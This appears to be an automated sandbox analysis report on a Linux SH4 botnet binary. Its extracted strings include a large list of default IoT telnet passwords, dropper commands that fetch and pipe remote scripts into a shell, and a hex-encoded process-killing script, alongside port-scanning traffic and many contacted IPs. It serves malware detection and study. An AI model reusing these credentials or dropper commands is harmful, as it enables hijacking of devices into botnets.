Linux Analysis Report
la.bot.sh4.elf

Overview

General Information

Sample name: la.bot.sh4.elf
Analysis ID: 1541482
MD5: 03d9e6cbf66a5cce1cfb36b49a402ad2
SHA1: 8847a3a6e526c52db6b049f036d6ebb77124ca2b
SHA256: b756cc55e77f4c462b40a17193719de283dab426e6624817c273b61a6ecb5ca5
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.sh4.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.sh4.elf ReversingLabs: Detection: 31%
Found strings indicative of a multi-platform dropper
Source: la.bot.sh4.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.sh4.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.sh4.elf String: /exe/maps|ash|login|wget|curl|tftp|ntpdate/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/fd/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp/lib//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.sh4.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 103.253.147.242 ports 54123,1,2,3,4,5
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:51822 -> 103.253.147.242:54123
Sample listens on a socket
Source: /tmp/la.bot.sh4.elf (PID: 5428) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 15.164.136.93
Source: unknown TCP traffic detected without corresponding DNS query: 15.164.136.93
Source: unknown TCP traffic detected without corresponding DNS query: 207.25.143.42
Source: unknown TCP traffic detected without corresponding DNS query: 207.25.143.42
Source: unknown TCP traffic detected without corresponding DNS query: 13.44.17.18
Source: unknown TCP traffic detected without corresponding DNS query: 13.44.17.18
Source: unknown TCP traffic detected without corresponding DNS query: 217.8.60.91
Source: unknown TCP traffic detected without corresponding DNS query: 181.53.249.14
Source: unknown TCP traffic detected without corresponding DNS query: 217.8.60.91
Source: unknown TCP traffic detected without corresponding DNS query: 26.120.75.164
Source: unknown TCP traffic detected without corresponding DNS query: 201.171.42.237
Source: unknown TCP traffic detected without corresponding DNS query: 181.53.249.14
Source: unknown TCP traffic detected without corresponding DNS query: 26.120.75.164
Source: unknown TCP traffic detected without corresponding DNS query: 167.127.62.42
Source: unknown TCP traffic detected without corresponding DNS query: 201.171.42.237
Source: unknown TCP traffic detected without corresponding DNS query: 167.127.62.42
Source: unknown TCP traffic detected without corresponding DNS query: 42.0.23.103
Source: unknown TCP traffic detected without corresponding DNS query: 42.0.23.103
Source: unknown TCP traffic detected without corresponding DNS query: 114.102.239.187
Source: unknown TCP traffic detected without corresponding DNS query: 114.102.239.187
Source: unknown TCP traffic detected without corresponding DNS query: 201.136.218.95
Source: unknown TCP traffic detected without corresponding DNS query: 203.123.48.25
Source: unknown TCP traffic detected without corresponding DNS query: 201.136.218.95
Source: unknown TCP traffic detected without corresponding DNS query: 203.123.48.25
Source: unknown TCP traffic detected without corresponding DNS query: 86.121.145.174
Source: unknown TCP traffic detected without corresponding DNS query: 57.66.62.14
Source: unknown TCP traffic detected without corresponding DNS query: 86.121.145.174
Source: unknown TCP traffic detected without corresponding DNS query: 11.192.112.46
Source: unknown TCP traffic detected without corresponding DNS query: 57.66.62.14
Source: unknown TCP traffic detected without corresponding DNS query: 11.192.112.46
Source: unknown TCP traffic detected without corresponding DNS query: 11.127.125.153
Source: unknown TCP traffic detected without corresponding DNS query: 125.90.108.74
Source: unknown TCP traffic detected without corresponding DNS query: 11.127.125.153
Source: unknown TCP traffic detected without corresponding DNS query: 125.90.108.74
Source: unknown TCP traffic detected without corresponding DNS query: 3.174.141.217
Source: unknown TCP traffic detected without corresponding DNS query: 151.9.33.33
Source: unknown TCP traffic detected without corresponding DNS query: 3.174.141.217
Source: unknown TCP traffic detected without corresponding DNS query: 171.183.60.128
Source: unknown TCP traffic detected without corresponding DNS query: 151.9.33.33
Source: unknown TCP traffic detected without corresponding DNS query: 31.58.163.139
Source: unknown TCP traffic detected without corresponding DNS query: 134.185.191.211
Source: unknown TCP traffic detected without corresponding DNS query: 171.183.60.128
Source: unknown TCP traffic detected without corresponding DNS query: 175.94.242.133
Source: unknown TCP traffic detected without corresponding DNS query: 31.58.163.139
Source: unknown TCP traffic detected without corresponding DNS query: 134.185.191.211
Source: unknown TCP traffic detected without corresponding DNS query: 175.94.242.133
Source: unknown TCP traffic detected without corresponding DNS query: 223.59.225.130
Source: unknown TCP traffic detected without corresponding DNS query: 70.252.13.142
Source: unknown TCP traffic detected without corresponding DNS query: 223.59.225.130
Source: unknown TCP traffic detected without corresponding DNS query: 121.115.30.137
Source: global traffic DNS traffic detected: DNS query: 21savage.dyn
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.sh4.elf String found in binary or memory: http:///curl.sh
Source: la.bot.sh4.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.sh4.elf (PID: 5428) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal60.troj.linELF@0/0@3/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/238/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/239/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/914/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/240/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/241/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/242/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/1/maps Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/244/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/245/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/247/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/802/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/371/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/134/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/816/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5428) File opened: /proc/266/fd Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.sh4.elf (PID: 5428) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sh4.elf, 5428.1.00007fffe9dde000.00007fffe9dff000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: la.bot.sh4.elf, 5428.1.000055bcb4513000.000055bcb4599000.rw-.sdmp Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: la.bot.sh4.elf, 5428.1.000055bcb4513000.000055bcb4599000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sh4
Source: la.bot.sh4.elf, 5428.1.00007fffe9dde000.00007fffe9dff000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/la.bot.sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sh4.elf

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
150.211.117.252
 unknown United States
31822 CITY-UNIVERSITY-OF-NEW-YORKUS false
170.190.226.180
 unknown United States
33527 MGN-2US false
81.230.254.91
 unknown Sweden
3301 TELIANET-SWEDENTeliaCompanySE false
194.31.77.248
 unknown Germany
8469 PIRONETNDH-ASCANCOMPironetAGCoKGDE false
29.193.195.136
 unknown United States
7922 COMCAST-7922US false
39.187.119.238
 unknown China
56041 CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC false
13.146.44.37
 unknown United States
7018 ATT-INTERNET4US false
202.146.55.56
 unknown Indonesia
18365 GRAMEDIA-IDGRAMEDIAPTID false
179.224.151.187
 unknown Brazil
26599 TELEFONICABRASILSABR false
70.161.100.193
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
141.66.103.223
 unknown Germany
13040 ASN-FIZDE false
141.14.133.8
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
46.132.186.128
 unknown Finland
1759 TSF-IP-CORETeliaFinlandOyjEU false
29.113.145.73
 unknown United States
7922 COMCAST-7922US false
112.94.79.47
 unknown China
17622 CNCGROUP-GZChinaUnicomGuangzhounetworkCN false
110.51.111.234
 unknown China
45113 CNNIC-DTCOAL-APShanxiDatongCoalGroupCommunicationCo false
34.166.111.53
 unknown United States
2686 ATGS-MMD-ASUS false
27.105.168.87
 unknown Taiwan; Republic of China (ROC)
18182 SONET-TWSonyNetworkTaiwanLimitedTW false
13.44.17.18
 unknown United States
7018 ATT-INTERNET4US false
152.179.243.14
 unknown United States
11486 COLO-PREM-VZBUS false
172.213.241.9
 unknown United States
18747 IFX18747US false
80.179.84.165
 unknown Israel
9116 GOLDENLINES-ASNPartnerCommunicationsMainAutonomousSyste false
211.94.234.163
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
135.89.19.28
 unknown United States
10455 LUCENT-CIOUS false
118.92.187.2
 unknown New Zealand
9500 VODAFONE-TRANSIT-ASVodafoneNZLtdNZ false
55.176.184.164
 unknown United States
1541 DNIC-ASBLK-01534-01546US false
145.14.153.121
 unknown Netherlands
204915 AWEXUS false
19.169.226.155
 unknown United States
3 MIT-GATEWAYSUS false
178.165.254.69
 unknown Austria
25255 H3G-AUSTRIA-ASTELE2AUSTRIAAT false
18.241.24.123
 unknown United States
16509 AMAZON-02US false
90.113.194.141
 unknown France
3215 FranceTelecom-OrangeFR false
8.167.109.98
 unknown Singapore
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
215.68.15.30
 unknown United States
5800 DNIC-ASBLK-05800-06055US false
29.250.128.141
 unknown United States
7922 COMCAST-7922US false
150.204.133.86
 unknown United Kingdom
786 JANETJiscServicesLimitedGB false
205.101.184.201
 unknown United States
721 DNIC-ASBLK-00721-00726US false
95.92.13.114
 unknown Portugal
2860 NOS_COMUNICACOESPT false
195.133.29.42
 unknown Russian Federation
21453 FLEX-ASRU false
12.59.39.89
 unknown United States
7018 ATT-INTERNET4US false
147.204.60.47
 unknown Germany
55542 RMSNET-AS-APRoadsandMaritimeServicesAU false
8.143.115.228
 unknown Singapore
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
66.36.132.89
 unknown Canada
6280 SYNAPSECA false
155.207.71.35
 unknown Greece
5470 ASAUTHNETAUTH-NET-ASGR false
142.101.127.110
 unknown Canada
852 ASN852CA false
3.174.141.217
 unknown United States
16509 AMAZON-02US false
89.150.72.51
 unknown Denmark
39452 MAXTEL-ASGE false
34.189.32.75
 unknown United States
2686 ATGS-MMD-ASUS false
203.219.157.165
 unknown Australia
7545 TPG-INTERNET-APTPGTelecomLimitedAU false
73.18.146.24
 unknown United States
7922 COMCAST-7922US false
31.179.155.81
 unknown Poland
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
205.11.183.205
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
64.117.30.14
 unknown United States
14551 UUNET-SAUS false
184.225.129.118
 unknown United States
10507 SPCSUS false
59.23.161.225
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
41.58.4.87
 unknown Nigeria
36923 SWIFTNG-ASNNG false
104.197.10.124
 unknown United States
15169 GOOGLEUS false
177.47.39.56
 unknown Brazil
28652 TelecomunicacoesNordesteLtdaBR false
158.219.128.148
 unknown United States
2907 SINET-ASResearchOrganizationofInformationandSystemsN false
155.226.186.154
 unknown United States
8698 NationwideBuildingSocietyGB false
175.136.166.184
 unknown Malaysia
4788 TMNET-AS-APTMNetInternetServiceProviderMY false
14.25.196.8
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
125.11.250.111
 unknown Japan 9824 JTCL-JP-ASJupiterTelecommunicationCoLtdJP false
54.223.8.104
 unknown China
55960 BJ-GUANGHUAN-APBeijingGuanghuanXinwangDigitalCN false
114.215.109.119
 unknown China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
62.190.135.72
 unknown United Kingdom
702 UUNETUS false
178.19.118.180
 unknown Netherlands
50673 SERVERIUS-ASNL false
200.23.170.201
 unknown Mexico
8151 UninetSAdeCVMX false
92.32.66.167
 unknown Sweden
2119 TELENOR-NEXTELTelenorNorgeASNO false
50.147.88.244
 unknown United States
7922 COMCAST-7922US false
35.188.237.202
 unknown United States
15169 GOOGLEUS false
33.234.154.76
 unknown United States
2686 ATGS-MMD-ASUS false
170.236.223.7
 unknown Switzerland
11685 HNBCOL-ASUS false
160.218.218.251
 unknown Czech Republic
5610 O2-CZECH-REPUBLICCZ false
19.176.250.61
 unknown United States
3 MIT-GATEWAYSUS false
170.52.135.68
 unknown United States
16863 HOMESCUS false
112.73.200.198
 unknown China
135373 EFLYPRO-AS-APEFLYNETWORKLIMITEDHK false
141.200.191.136
 unknown Germany
41587 ATLAS-ELEKTRONIKSebaldsbrueckerHeerstrasse235DE false
136.96.77.139
 unknown United States
60311 ONEFMCH false
51.35.170.118
 unknown United Kingdom
2686 ATGS-MMD-ASUS false
47.28.27.127
 unknown United States
20115 CHARTER-20115US false
154.94.72.157
 unknown Seychelles
134548 DXTL-HKDXTLTseungKwanOServiceHK false
138.36.82.92
 unknown Brazil
264571 NetfarInformaticaLtdaBR false
181.3.214.164
